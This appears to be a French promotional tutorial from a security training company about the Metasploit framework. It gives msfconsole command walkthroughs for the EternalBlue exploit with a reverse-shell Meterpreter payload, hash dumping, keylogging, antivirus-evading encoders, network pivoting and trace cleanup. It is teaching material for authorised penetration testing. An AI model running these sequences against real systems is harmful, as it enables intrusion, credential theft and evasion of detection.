Metasploit : le framework d’exploitation au service des professionnels de la sécurité

Metasploit : le framework d’exploitation au service des professionnels de la sécurité

Metasploit est devenu, depuis sa création par HD Moore en 2003, l’outil incontournable pour les tests d’intrusion, la recherche en vulnérabilités et l’enseignement de la sécurité offensive. Ce framework open source, aujourd’hui maintenu par Rapid7, permet de développer, tester et exécuter des exploits contre des cibles vulnérables, mais aussi d’automatiser des phases entières d’un pentest : reconnaissance, exploitation, post‑exploitation, persistance et nettoyage des traces. Comprendre son architecture, ses modules (exploits, payloads, auxiliaires, post, encoders) et leur articulation est essentiel pour tout professionnel de la cybersécurité. L’expérience acquise par ISOSET dans ses formations pratiques montre que ceux qui maîtrisent les concepts fondamentaux de Metasploit sont capables de gagner un temps précieux lors des audits et d’identifier des failles autrement difficiles à détecter. Cet article explore les briques principales de Metasploit, sa mise en œuvre, ses bonnes pratiques, enrichi par le retour d’expérience des formateurs d’ISOSET.


Metasploit est une plateforme modulaire d’exploitation de vulnérabilités. Elle propose une interface unifiée (console msfconsole), des bibliothèques partagées, un langage de développement d’exploits en Ruby, et une large base d’exploits pré‑écrits couvrant des dizaines d’années de vulnérabilités connues. L’outil se décline en plusieurs éditions : Metasploit Framework (open source, en ligne de commande), Metasploit Pro (version commerciale avec interface graphique, gestion de rapports, pivots avancés, intégration CI/CD) et Metasploit Community (gratuite, limitée). La version open source suffit pour la plupart des tests et est la base des formations d’ISOSET.

Le framework repose sur le principe d’un moteur d’exécution qui charge des modules à la demande. Chaque module implémente un comportement spécifique : exploiter une faille, livrer un payload, scanner un service, etc. La console msfconsole est l’interface interactive centrale, offrant une complétion par tabulation, un système de gestion de sessions, des macros (ressources) et l’intégration de post‑exploitation.


2. Architecture et types de modules

Metasploit distingue plusieurs catégories de modules, chacune servant un objectif précis :

  • Exploits – code qui prend avantage d’une vulnérabilité pour exécuter du code sur la cible. Exemple : exploit/windows/smb/ms17_010_eternalblue.
  • Payloads – code livré après l’exploitation (reverse shell, bind shell, download/execute, meterpreter). On distingue les payloads stageless (auto‑contenus) et staged (découpage en deux parties).
  • Auxiliaires (aux) – outils de scanning, de fuzzing, d’énumération, de déni de service (pas d’exécution de payload). Exemple : auxiliary/scanner/portscan/tcp.
  • Post‑exploitation (post) – modules exécutés après avoir obtenu un shell (vol de hash, collecte d’informations, elevation de privilèges, persistance). Exemple : post/windows/gather/hashdump.
  • Encoders – modifient la signature du payload pour tenter d’éviter les antivirus ou les IDS/IPS. Exemple : x86/shikata_ga_nai.
  • Nops – génèrent des séquences de « no operation » pour les alignements de buffer.

Chaque module est écrit en Ruby et stocké dans des dossiers selon sa catégorie. L’utilisateur les charge et les paramètre via usesetrun (ou exploit). Les atteliers d’ISOSET familiarisent avec la navigation dans l’arborescence et la recherche d’un exploit approprié (via search).


3. La console msfconsole – commandes essentielles

La console est l’environnement privilégié du pentester. Démarrer Metasploit : msfconsole (peut prendre plusieurs secondes au premier lancement). Quelques commandes incontournables :

  • help – affiche l’aide complète.
  • search – cherche des modules par mots‑clés, CVE, auteur, plateforme. Exemple : search eternalblue.
  • use <module> – charge un module (ex: use exploit/windows/smb/ms17_010_eternalblue).
  • show options – liste les paramètres requis du module (RHOSTS, RPORT, PAYLOAD, etc.).
  • set <option> <value> – assigne une valeur à une option.
  • setg – définit une option globale (valable pour tous les modules).
  • run ou exploit – exécute le module.
  • sessions – liste les sessions actives (shells ou Meterpreter).
  • sessions -i <id> – interagit avec une session.
  • background – met une session en arrière‑plan pour revenir à la console.

Les sessions Meterpreter sont particulièrement riches (voir section 6). Un bon apprentissage passe par l’utilisation de machines vulnérables légales, comme Metasploitable 2/3 ou les challenges de HackTheBox. ISOSET (https://www.isoset.fr/methodologie) propose des exercices guidés sur ces plateformes.


4. Utilisation d’un exploit pas à pas

Prenons l’exemple de l’exploit EternalBlue (MS17‑010) contre une machine Windows vulnérable.

bash

msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.20   (votre IP)
msf6 exploit(ms17_010_eternalblue) > check                 # teste si la cible est vulnérable
msf6 exploit(ms17_010_eternalblue) > run

Si l’exploit réussit, vous obtenez une session Meterpreter. La procédure semble simple, mais elle nécessite de connaître la cible (ports ouverts, version du service) et d’avoir un payload compatible avec l’architecture de la cible. Les formateurs d’ISOSET mettent l’accent sur l’analyse préalable (scan Nmap) et le choix du payload approprié.


5. Payloads et Meterpreter

Les payloads sont le cœur post‑exploitation. Metasploit propose plusieurs familles :

  • Shell – windows/shell_reverse_tcp (reverse shell classique) ou linux/x86/shell_bind_tcp.
  • Meterpreter – payload avancé offrant de nombreuses commandes sur la cible (téléchargement de fichiers, prise de captures d’écran, enregistrement du clavier, pivot réseau). Il s’exécute en mémoire, sans écrire sur le disque (plus discret). Les commandes Meterpreter incluent sysinfogetsystem (escalade de privilèges), hashdumpscreenshotkeyscan_start/stopportfwdrouteload kiwi (pour manipuler des tickets Kerberos), etc.
  • VNC Injection – pour prendre le contrôle de l’écran.

Exemple de commandes Meterpreter une fois la session active :

bash

meterpreter > sysinfo
meterpreter > getuid                     # utilisateur courant
meterpreter > getsystem                  # tente l’escalade
meterpreter > hashdump                   # dump des hash SAM (Windows)
meterpreter > screenshot                 # capture écran
meterpreter > shell                      # bascule vers un shell système

Meterpreter communique via un canal chiffré et peut être étendu avec des modules supplémentaires (Kiwi, Incognito). C’est l’outil privilégié des pentesters. Dans les ateliers d’ISOSET, les apprenants apprennent à manipuler Meterpreter sur des cibles volontairement vulnérables.


6. Encoders – contourner les antivirus

Les encoders modifient la signature du payload (par exemple par polymorphisme). La commande show encoders liste les encodeurs disponibles. On les utilise via set ENCODER. L’encodeur le plus célèbre est x86/shikata_ga_nai. Exemple :

bash

msf6 exploit(…) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(…) > set ENCODER x86/shikata_ga_nai
msf6 exploit(…) > set Iterations 5

Il est important de noter que les encoders ne garantissent pas l’indétectabilité face à des antivirus modernes ; ils augmentent simplement le temps d’analyse. Les professionnels formés par ISOSET (https://www.isoset.fr/formateurs) savent qu’il est préférable d’utiliser des payloads écrits en shellcode obfusqué ou des exécutables audités manuellement.


7. Post‑exploitation et modules auxiliaires

Une fois une session ouverte, Metasploit offre des centaines de modules post‑exploitation, rangés par catégorie :

  • post/windows/gather/ – collecte d’infos (hashdump, enum_users, enum_shares).
  • post/windows/escalate/ – tentatives d’élévation de privilèges (bypassuac, ms16_032).
  • post/windows/manage/ – actions de gestion (enable_rdp, killav, persist).
  • post/linux/gather/ – analogues pour Linux.

Un module post peut être lancé depuis la console ou en arrière‑plan d’une session. Exemple :

bash

meterpreter > background
msf6 exploit(…) > use post/windows/gather/hashdump
msf6 post(hashdump) > set SESSION 1
msf6 post(hashdump) > run

Les modules auxiliaires (non exploitatifs) sont des scans, fuzzing, etc. Exemple : scanner de ports TCP, sniffeur ARP, serveur SMB factice. Ils s’utilisent de la même manière.

L’écosystème Metasploit est si vaste que la découverte de modules se fait via searchISOSET recommande d’apprendre à rechercher efficacement par mot‑clé, CVE, ou auteur.


8. Gestion des sessions et pivot réseau

Lors d’une intrusion, il est fréquent d’obtenir un accès à une machine qui sert de passerelle vers un réseau interne non routable. Metasploit permet de pivoter à travers une session compromise pour scanner ou exploiter d’autres cibles. Le mécanisme de pivot s’appuie sur le routage automatique (route add).

bash

meterpreter > run autoroute -s 10.0.0.0/24   # ajoute la route 10.0.0.0/24 via cette session
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.0.0.5
msf6 > set PORTS 445
msf6 > run

Le trafic passera automatiquement par la session compromise. On peut aussi utiliser portfwd pour forwarder un port local vers un service interne.


9. Éviter les erreurs : bonnes pratiques

  • Toujours tester sur des cibles autorisées – les lois sur la cybersécurité pénalisent l’exploitation non consentie.
  • Vérifier la compatibilité – un exploit conçu pour Windows 7 64 bits échouera sur Windows 10.
  • Utiliser check avant run pour limiter les crashs.
  • Journaliser les actions – spool start /tmp/log.txt enregistre la session.
  • Nettoyer les traces – les modules cleanupevent_manager, et les options AutoRunScript aident à supprimer les artefacts.
  • Ne pas faire confiance aveuglément aux encoders – tester sur VirusTotal en version privée peut révéler des détections.

Ces principes sont martelés par ISOSET (https://www.isoset.fr/methodologie) dès les premières manipulations en laboratoire.


10. Se former à Metasploit avec ISOSET

La maîtrise de Metasploit ne s’acquiert pas seulement en lisant la documentation. Elle demande une pratique régulière, l’exposition à des environnements variés et la compréhension des mécanismes sous‑jacents. ISOSET propose deux modules dédiés :

  • Metasploit Initiation (1 jour) – installation, console, recherche de modules, exploitation manuelle, gestion des sessions.
  • Metasploit Perfectionnement (2 jours) – encoders, pivots, métasploit Pro, intégration de scripts externes, rédaction de rapports.

L’originalité d’ISOSET est d’utiliser des machines virtuelles vulnérables maison ainsi que des challenges de la plateforme HackTheBox Academy. Les stagiaires apprennent non seulement à lancer des exploits, mais aussi à les adapter lorsqu’ils échouent, à interpréter les messages d’erreur, et à documenter leurs actions pour un rapport d’audit.

Les formateurs sont des pentesters certifiés (OSCP, GPEN) et appliquent une approche éthique rigoureuse. Chaque participant repart avec un ensemble de notes de cours, des exemples de scripts d’automatisation (resource scripts) et un accès à un environnement de laboratoire en ligne pour continuer la pratique.

Les témoignages d’anciens apprenants indiquent que cette formation leur a permis d’obtenir leurs premières certifications offensives et d’intégrer des équipes SOC ou Red Team.


Metasploit est bien plus qu’un simple lanceur d’exploits : c’est une plateforme complète couvrant la collecte d’informations, l’exploitation, la post‑exploitation, le pivot et la persistance. Maîtriser ses modules (exploits, payloads, auxiliaires, post, encoders), savoir les paramétrer et les enchaîner fait la différence entre un test d’intrusion réussi et une tentative avortée. Les professionnels qui investissent dans cette compétence – avec l’aide d’organismes expérimentés comme ISOSET – gagnent en efficacité et en fiabilité. Que l’on soit pentester, administrateur sécurité ou développeur, une connaissance pratique de Metasploit est un atout majeur pour anticiper les attaques et renforcer la défense des systèmes.

© ISOSET — Organisme de formation professionnelle
LinkedIn | Facebook | Instagram

Comments are closed.